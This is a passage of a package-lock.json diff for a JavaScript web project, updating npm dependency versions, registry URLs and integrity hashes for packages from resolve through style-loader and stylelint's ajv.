"https://registry.npmjs.org/resolve/-/resolve-1.17.0.tgz", - "integrity": "sha512-ic+7JYiV8Vi2yzQGFWOkiZD5Z9z7O2Zhm9XMaTxdJExKasieFCr+yXZ/WmXsckHiKl12ar0y6XiXDx3m4RHn1w==", + "version": "1.22.0", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.0.tgz", + "integrity": "sha512-Hhtrw0nLeSrFQ7phPp4OOcVjLPIeMnRlr5mcnVuMe7M/7eBn98A3hmFRLoFo3DLZkivSYwhRUJTyPyWAk56WLw==", "requires": { - "path-parse": "^1.0.6" + "is-core-module": "^2.8.1", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" } }, "resolve-cwd": { @@ -11694,9 +26943,9 @@ "integrity": "sha1-P4Yt+pGrdmsUiF700BEkv9oHT7Q=" }, "rxjs": { - "version": "6.5.5", - "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.5.5.tgz", - "integrity": "sha512-WfQI+1gohdf0Dai/Bbmk5L5ItH5tYqm3ki2c5GdWhKjalzjg93N3avFjVStyZZz+A2Em+ZxKH5bNghw9UeylGQ==", + "version": "6.6.7", + "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.6.7.tgz", + "integrity": "sha512-hTdwr+7yYNIT5n4AMYp85KA6yw2Va0FLa3Rguvbpa4W3I5xynaBZo41cM3XM+4Q6fRMj3sBYIR1VAmZMXYJvRQ==", "dev": true, "requires": { "tslib": "^1.9.0" @@ -11713,39 +26962,24 @@ "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" }, "sass": { - "version": "1.42.1", - "resolved": "https://registry.npmjs.org/sass/-/sass-1.42.1.tgz", - "integrity": "sha512-/zvGoN8B7dspKc5mC6HlaygyCBRvnyzzgD5khiaCfglWztY99cYoiTUksVx11NlnemrcfH5CEaCpsUKoW0cQqg==", + "version": "1.49.11", + "resolved": "https://registry.npmjs.org/sass/-/sass-1.49.11.tgz", + "integrity": "sha512-wvS/geXgHUGs6A/4ud5BFIWKO1nKd7wYIGimDk4q4GFkJicILActpv9ueMT4eRGSsp1BdKHuw1WwAHXbhsJELQ==", "dev": true, "requires": { - "chokidar": ">=3.0.0 <4.0.0" + "chokidar": ">=3.0.0 <4.0.0", + "immutable": "^4.0.0", + "source-map-js": ">=0.6.2 <2.0.0" } }, "sass-loader": { - "version": "7.3.1", - "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-7.3.1.tgz", - "integrity": "sha512-tuU7+zm0pTCynKYHpdqaPpe+MMTQ76I9TPZ7i4/5dZsigE350shQWe5EZNl5dBidM49TPET75tNqRbcsUZWeNA==", + "version": "12.6.0", + "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-12.6.0.tgz", + "integrity": "sha512-oLTaH0YCtX4cfnJZxKSLAyglED0naiYfNG1iXfU5w1LNZ+ukoA5DtyDIN5zmKVZwYNJP4KRc5Y3hkWga+7tYfA==", "dev": true, "requires": { - "clone-deep": "^4.0.1", - "loader-utils": "^1.0.1", - "neo-async": "^2.5.0", - "pify": "^4.0.1", - "semver": "^6.3.0" - }, - "dependencies": { - "pify": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", - "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", - "dev": true - }, - "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", - "dev": true - } + "klona": "^2.0.4", + "neo-async": "^2.6.2" } }, "scheduler": { @@ -11758,13 +26992,14 @@ } }, "schema-utils": { - "version": "2.6.6", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.6.6.tgz", - "integrity": "sha512-wHutF/WPSbIi9x6ctjGGk2Hvl0VOz5l3EKEuKbjPlB30mKZUzb9A5k9yEXRX3pwyqVLPvpfZZEllaFq/M718hA==", + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.1.tgz", + "integrity": "sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg==", "dev": true, "requires": { - "ajv": "^6.12.0", - "ajv-keywords": "^3.4.1" + "@types/json-schema": "^7.0.5", + "ajv": "^6.12.4", + "ajv-keywords": "^3.5.2" } }, "select-hose": { @@ -11774,24 +27009,24 @@ "dev": true }, "selfsigned": { - "version": "1.10.11", - "resolved": "https://registry.npmjs.org/selfsigned/-/selfsigned-1.10.11.tgz", - "integrity": "sha512-aVmbPOfViZqOZPgRBT0+3u4yZFHpmnIghLMlAcb5/xhp5ZtB/RVnKhz5vl2M32CLXAqR4kha9zfhNg0Lf/sxKA==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/selfsigned/-/selfsigned-2.0.1.tgz", + "integrity": "sha512-LmME957M1zOsUhG+67rAjKfiWFox3SBxE/yymatMZsAx+oMrJ0YQ8AToOnyCm7xbeg2ep37IHLxdu0o2MavQOQ==", "dev": true, "requires": { - "node-forge": "^0.10.0" + "node-forge": "^1" } }, "semver": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", - "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", "dev": true }, "send": { - "version": "0.17.1", - "resolved": "https://registry.npmjs.org/send/-/send-0.17.1.tgz", - "integrity": "sha512-BsVKsiGcQMFwT8UxypobUKyv7irCNRHk1T0G680vk88yf6LBByGcZJOTJCrTP2xVN6yI+XjPJcNuE3V4fT9sAg==", + "version": "0.17.2", + "resolved": "https://registry.npmjs.org/send/-/send-0.17.2.tgz", + "integrity": "sha512-UJYB6wFSJE3G00nEivR5rgWp8c2xXvJ3OPWPhmuteU0IKj8nKbG3DrjiOmLwpnHGYWAVwA69zmTm++YG0Hmwww==", "dev": true, "requires": { "debug": "2.6.9", @@ -11801,9 +27036,9 @@ "escape-html": "~1.0.3", "etag": "~1.8.1", "fresh": "0.5.2", - "http-errors": "~1.7.2", + "http-errors": "1.8.1", "mime": "1.6.0", - "ms": "2.1.1", + "ms": "2.1.3", "on-finished": "~2.3.0", "range-parser": "~1.2.1", "statuses": "~1.5.0" @@ -11826,16 +27061,10 @@ } } }, - "mime": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", - "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", - "dev": true - }, "ms": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz", - "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==", + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", "dev": true } } @@ -11844,7 +27073,6 @@ "version": "6.0.0", "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.0.tgz", "integrity": "sha512-Qr3TosvguFt8ePWqsvRfrKyQXIiW+nGbYpy8XK24NQHE83caxWt+mIymTT19DGFbNWNLfEwsrkSmN64lVWB9ag==", - "dev": true, "requires": { "randombytes": "^2.1.0" } @@ -11906,15 +27134,15 @@ } }, "serve-static": { - "version": "1.14.1", - "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.14.1.tgz", - "integrity": "sha512-JMrvUwE54emCYWlTI+hGrGv5I8dEwmco/00EvkzIIsR7MqrHonbD9pO2MOfFnpFntl7ecpZs+3mW+XbQZu9QCg==", + "version": "1.14.2", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.14.2.tgz", + "integrity": "sha512-+TMNA9AFxUEGuC0z2mevogSnn9MXKb4fa7ngeRMJaaGv8vTwnIEkKi+QGvPt33HSnf8pRS+WGM0EbMtCJLKMBQ==", "dev": true, "requires": { "encodeurl": "~1.0.2", "escape-html": "~1.0.3", "parseurl": "~1.3.3", - "send": "0.17.1" + "send": "0.17.2" } }, "setimmediate": { @@ -11923,9 +27151,9 @@ "integrity": "sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU=" }, "setprototypeof": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.1.tgz", - "integrity": "sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==", + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==", "dev": true }, "sha3": { @@ -11966,9 +27194,9 @@ "dev": true }, "shortid": { - "version": "2.2.15", - "resolved": "https://registry.npmjs.org/shortid/-/shortid-2.2.15.tgz", - "integrity": "sha512-5EaCy2mx2Jgc/Fdn9uuDuNIIfWBpzY4XIlhoqtXF6qsf+/+SGZ+FxDdX/ZsMZiWupIWNqAEmiNY4RC+LSmCeOw==", + "version": "2.2.16", + "resolved": "https://registry.npmjs.org/shortid/-/shortid-2.2.16.tgz", + "integrity": "sha512-Ugt+GIZqvGXCIItnsL+lvFJOiN7RYqlGy7QE41O3YC1xbNSeDGIRO7xg2JJXIAj1cAGnOeC1r7/T9pgrtQbv4g==", "requires": { "nanoid": "^2.1.0" } @@ -11985,9 +27213,9 @@ } }, "signal-exit": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.3.tgz", - "integrity": "sha512-VUJ49FC8U1OxwZLxIbTTrDvLnf/6TDgxZcK8wxR8zs13xpx7xbG60ndBlhNrFi2EMuFRoeDoJO7wthSLq42EjA==", + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", "dev": true }, "slash": { @@ -12015,29 +27243,15 @@ } } }, - "snyk": { - "version": "1.733.0", - "resolved": "https://registry.npmjs.org/snyk/-/snyk-1.733.0.tgz", - "integrity": "sha512-Mi/wk9tw8ma4P2+2QwgzGDHcIG0Tfj0Wn7cliuUqd7CM8bg+Oryq3g4NcNK6mJZz0VaISF8MCIcIzbqV8v0JYg==", - "dev": true - }, "sockjs": { - "version": "0.3.21", - "resolved": "https://registry.npmjs.org/sockjs/-/sockjs-0.3.21.tgz", - "integrity": "sha512-DhbPFGpxjc6Z3I+uX07Id5ZO2XwYsWOrYjaSeieES78cq+JaJvVe5q/m1uvjIQhXinhIeCFRH6JgXe+mvVMyXw==", + "version": "0.3.24", + "resolved": "https://registry.npmjs.org/sockjs/-/sockjs-0.3.24.tgz", + "integrity": "sha512-GJgLTZ7vYb/JtPSSZ10hsOYIvEYsjbNU+zPdIHcUaWVNUEPivzxku31865sSSud0Da0W4lEeOPlmw93zLQchuQ==", "dev": true, "requires": { "faye-websocket": "^0.11.3", - "uuid": "^3.4.0", + "uuid": "^8.3.2", "websocket-driver": "^0.7.4" - }, - "dependencies": { - "uuid": { - "version": "3.4.0", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", - "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==", - "dev": true - } } }, "source-map": { @@ -12045,77 +27259,35 @@ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=" }, + "source-map-js": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz", + "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==" + }, "source-map-loader": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/source-map-loader/-/source-map-loader-1.1.3.tgz", - "integrity": "sha512-6YHeF+XzDOrT/ycFJNI53cgEsp/tHTMl37hi7uVyqFAlTXW109JazaQCkbc+jjoL2637qkH1amLi+JzrIpt5lA==", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/source-map-loader/-/source-map-loader-3.0.1.tgz", + "integrity": "sha512-Vp1UsfyPvgujKQzi4pyDiTOnE3E4H+yHvkVRN3c/9PJmQS4CQJExvcDvaX/D+RV+xQben9HJ56jMJS3CgUeWyA==", "requires": { "abab": "^2.0.5", - "iconv-lite": "^0.6.2", - "loader-utils": "^2.0.0", - "schema-utils": "^3.0.0", - "source-map": "^0.6.1", - "whatwg-mimetype": "^2.3.0" + "iconv-lite": "^0.6.3", + "source-map-js": "^1.0.1" }, "dependencies": { - "@types/json-schema": { - "version": "7.0.7", - "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.7.tgz", - "integrity": "sha512-cxWFQVseBm6O9Gbw1IWb8r6OS4OhSt3hPZLkFApLjM8TEXROBuQGLAH2i2gZpcXdLBIrpXuTDhH7Vbm1iXmNGA==" - }, - "ajv-keywords": { - "version": "3.5.2", - "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", - "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==" - }, "iconv-lite": { - "version": "0.6.2", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.2.tgz", - "integrity": "sha512-2y91h5OpQlolefMPmUlivelittSWy0rP+oYVpn6A7GwVHNE8AWzoYOBNmlwks3LobaJxgHCYZAnyNo2GgpNRNQ==", + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", "requires": { "safer-buffer": ">= 2.1.2 < 3.0.0" } - }, - "json5": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.0.tgz", - "integrity": "sha512-f+8cldu7X/y7RAJurMEJmdoKXGB/X550w2Nr3tTbezL6RwEE/iMcm+tZnXeoZtKuOq6ft8+CqzEkrIgx1fPoQA==", - "requires": { - "minimist": "^1.2.5" - } - }, - "loader-utils": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.0.tgz", - "integrity": "sha512-rP4F0h2RaWSvPEkD7BLDFQnvSf+nK+wr3ESUjNTyAGobqrijmW92zc+SO6d4p4B1wh7+B/Jg1mkQe5NYUEHtHQ==", - "requires": { - "big.js": "^5.2.2", - "emojis-list": "^3.0.0", - "json5": "^2.1.2" - } - }, - "schema-utils": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.0.0.tgz", - "integrity": "sha512-6D82/xSzO094ajanoOSbe4YvXWMfn2A//8Y1+MUqFAJul5Bs+yn36xbK9OtNDcRVSBJ9jjeoXftM6CfztsjOAA==", - "requires": { - "@types/json-schema": "^7.0.6", - "ajv": "^6.12.5", - "ajv-keywords": "^3.5.2" - } - }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" } } }, "source-map-support": { - "version": "0.5.20", - "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.20.tgz", - "integrity": "sha512-n1lZZ8Ve4ksRqizaBQgxXDgKwttHDhyfQjA6YZZn8+AroHbsIz+JjwxQDxbp+7y5OYCI8t1Yk7etjD9CRd2hIw==", - "dev": true, + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", "requires": { "buffer-from": "^1.0.0", "source-map": "^0.6.0" @@ -12124,8 +27296,7 @@ "source-map": { "version": "0.6.1", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" } } }, @@ -12156,9 +27327,9 @@ } }, "spdx-license-ids": { - "version": "3.0.10", - "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.10.tgz", - "integrity": "sha512-oie3/+gKf7QtpitB0LYLETe+k8SifzsX4KixvpOsbI6S0kRiRQ5MKOio8eMSAKQ17N06+wdEOXRiId+zOxo0hA==", + "version": "3.0.11", + "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.11.tgz", + "integrity": "sha512-Ctl2BrFiM0X3MANYgj3CkygxhRmr9mi6xhejbdO960nF6EDJApTYpn0BQnDKlnNBULKiCN1n3w9EBkHK8ZWg+g==", "dev": true }, "spdy": { @@ -12198,6 +27369,21 @@ "string_decoder": "^1.1.1", "util-deprecate": "^1.0.1" } + }, + "safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true + }, + "string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dev": true, + "requires": { + "safe-buffer": "~5.2.0" + } } } }, @@ -12207,6 +27393,66 @@ "integrity": "sha512-1klA3Gi5PD1Wv9Q0wUoOQN1IWAuPu0D1U03ThXTr0cJ20+/iq2tHSDnK7Kk/0LXJ1ztUB2/1Os0wKmfyNgUQfg==", "dev": true }, + "speed-measure-webpack-plugin": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/speed-measure-webpack-plugin/-/speed-measure-webpack-plugin-1.5.0.tgz", + "integrity": "sha512-Re0wX5CtM6gW7bZA64ONOfEPEhwbiSF/vz6e2GvadjuaPrQcHTQdRGsD8+BE7iUOysXH8tIenkPCQBEcspXsNg==", + "dev": true, + "requires": { + "chalk": "^4.1.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, "sprintf-js": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", @@ -12219,6 +27465,12 @@ "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=", "dev": true }, + "string_decoder": { + "version": "0.10.31", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz", + "integrity": "sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ=", + "dev": true + }, "string-width": { "version": "4.2.3", "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", @@ -12230,18 +27482,6 @@ "strip-ansi": "^6.0.1" }, "dependencies": { - "ansi-regex": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - "dev": true - }, - "emoji-regex": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", - "dev": true - }, "strip-ansi": { "version": "6.0.1", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", @@ -12254,18 +27494,18 @@ } }, "string.prototype.matchall": { - "version": "4.0.6", - "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.6.tgz", - "integrity": "sha512-6WgDX8HmQqvEd7J+G6VtAahhsQIssiZ8zl7zKh1VDMFyL3hRTJP4FTNA3RbIp2TOQ9AYNDcc7e3fH0Qbup+DBg==", + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.7.tgz", + "integrity": "sha512-f48okCX7JiwVi1NXCVWcFnZgADDC/n2vePlQ/KUCNqCikLLilQvwjMO8+BHVKvgzH0JB0J9LEPgxOGT02RoETg==", "dev": true, "requires": { "call-bind": "^1.0.2", "define-properties": "^1.1.3", "es-abstract": "^1.19.1", "get-intrinsic": "^1.1.1", - "has-symbols": "^1.0.2", + "has-symbols": "^1.0.3", "internal-slot": "^1.0.3", - "regexp.prototype.flags": "^1.3.1", + "regexp.prototype.flags": "^1.4.1", "side-channel": "^1.0.4" } }, @@ -12289,22 +27529,21 @@ "define-properties": "^1.1.3" } }, - "string_decoder": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", - "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", - "dev": true, - "requires": { - "safe-buffer": "~5.1.0" - } - }, "strip-ansi": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", - "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", + "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", "dev": true, "requires": { - "ansi-regex": "^2.0.0" + "ansi-regex": "^4.1.0" + }, + "dependencies": { + "ansi-regex": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.1.tgz", + "integrity": "sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g==", + "dev": true + } } }, "strip-final-newline": { @@ -12323,32 +27562,17 @@ } }, "strip-json-comments": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.0.tgz", - "integrity": "sha512-e6/d0eBu7gHtdCqFt0xJr642LdToM5/cN4Qb9DbHjVx1CP5RyeM+zH7pbecEmDv/lBqb0QH+6Uqq75rxFPkM0w==", + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", "dev": true }, "style-loader": { - "version": "0.22.1", - "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-0.22.1.tgz", - "integrity": "sha512-WXUrLeinPIR1Oat3PfCDro7qTniwNTJqGqv1KcQiL3JR5PzrVLTyNsd9wTsPXG/qNCJ7lzR2NY/QDjFsP7nuSQ==", + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-3.3.1.tgz", + "integrity": "sha512-GPcQ+LDJbrcxHORTRes6Jy2sfvK2kS6hpSfI/fXhPt+spVzxF6LJ1dHLN9zIGmVaaP044YKaIatFaufENRiDoQ==", "dev": true, - "requires": { - "loader-utils": "^1.1.0", - "schema-utils": "^0.4.5" - }, - "dependencies": { - "schema-utils": { - "version": "0.4.7", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-0.4.7.tgz", - "integrity": "sha512-v/iwU6wvwGK8HbU9yi3/nhGzP0yGSuhQMzL6ySiec1FSrZZDkhm4noOSWzrNFo/jEc+SJY6jRTwuwbSXJPDUnQ==", - "dev": true, - "requires": { - "ajv": "^6.1.0", - "ajv-keywords": "^3.1.0" - } - } - } + "requires": {} }, "style-search": { "version": "0.1.0", @@ -12413,9 +27637,9 @@ }, "dependencies": { "ajv": { - "version": "8.10.0", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.10.0.tgz", - "integrity": "sha512-bzqAEZOjkrUMl2afH8dknrq5KEk2SrwdBROR+vH1EKVQTqaUbJVPdc/gEdggTMM0Se+s+Ja4ju4TlNcStKl2Hw==", + "version": "8.11.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz", + "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==", "dev": true, "requires": { "fast-deep-equal": "^3.1.1", @@ -12424,12 +27648,6 @@ "uri-js": "^4.2.2" } }, - "ansi-regex": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - "dev": true - }, "ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", @@ -12509,9 +27727,9 @@ } }, 